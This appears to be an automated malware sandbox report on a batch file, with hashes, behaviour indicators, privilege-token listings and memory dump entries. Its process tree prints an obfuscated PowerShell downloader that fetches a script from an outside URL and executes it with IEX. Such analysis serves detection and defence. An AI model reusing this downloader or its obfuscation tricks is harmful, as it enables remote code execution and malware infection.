701c9d874a79ecd2461ae5ee5cbdc945dbe103d0e09ac080684e077b04c9d559

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19-02-2024 12:02

Target

doc20241902070611.bat
Size

931B
MD5

dfade09934901ca341eeb0476abe0e0f
SHA1

5d5254c102b1578f9735ebded142ada7d68139b3
SHA256

bd8d0519e4ffd971d5b9b3eb59f01de7b367cf45b65e255d220894a4e9e24a3e
SHA512

c9996a7905d5319c79bf0db07c8380f93181ccf9153353c75f7f1d5135e111e0755d4d0a15934caad5632b74c543b559248e48088a3d51087aa434c2b68cee69

Score

8^/10

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2608	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2608	powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeIncreaseQuotaPrivilege	2608	powershell.exe
Token: SeSecurityPrivilege	2608	powershell.exe
Token: SeTakeOwnershipPrivilege	2608	powershell.exe
Token: SeLoadDriverPrivilege	2608	powershell.exe
Token: SeSystemProfilePrivilege	2608	powershell.exe
Token: SeSystemtimePrivilege	2608	powershell.exe
Token: SeProfSingleProcessPrivilege	2608	powershell.exe
Token: SeIncBasePriorityPrivilege	2608	powershell.exe
Token: SeCreatePagefilePrivilege	2608	powershell.exe
Token: SeBackupPrivilege	2608	powershell.exe
Token: SeRestorePrivilege	2608	powershell.exe
Token: SeShutdownPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeSystemEnvironmentPrivilege	2608	powershell.exe
Token: SeRemoteShutdownPrivilege	2608	powershell.exe
Token: SeUndockPrivilege	2608	powershell.exe
Token: SeManageVolumePrivilege	2608	powershell.exe
Token: 33	2608	powershell.exe
Token: 34	2608	powershell.exe
Token: 35	2608	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 2608	1032	cmd.exe	30
PID 1032 wrote to memory of 2608	1032	cmd.exe	30
PID 1032 wrote to memory of 2608	1032	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\doc20241902070611.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','str','ing';$rotJ=($rot -join '');$bnt='https','://antuofermo.it/G19.txt';$bng0=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bng0);z($mv)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608

memory/2608-4-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download
memory/2608-5-0x0000000002020000-0x0000000002028000-memory.dmp

Filesize
32KB

Download
memory/2608-6-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-7-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2608-8-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2608-9-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2608-10-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-11-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2608-12-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-13-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2608-14-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2608-15-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2608-16-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download
memory/2608-17-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

Filesize
9.6MB

Download
memory/2608-18-0x0000000002640000-0x00000000026C0000-memory.dmp

Filesize
512KB

Download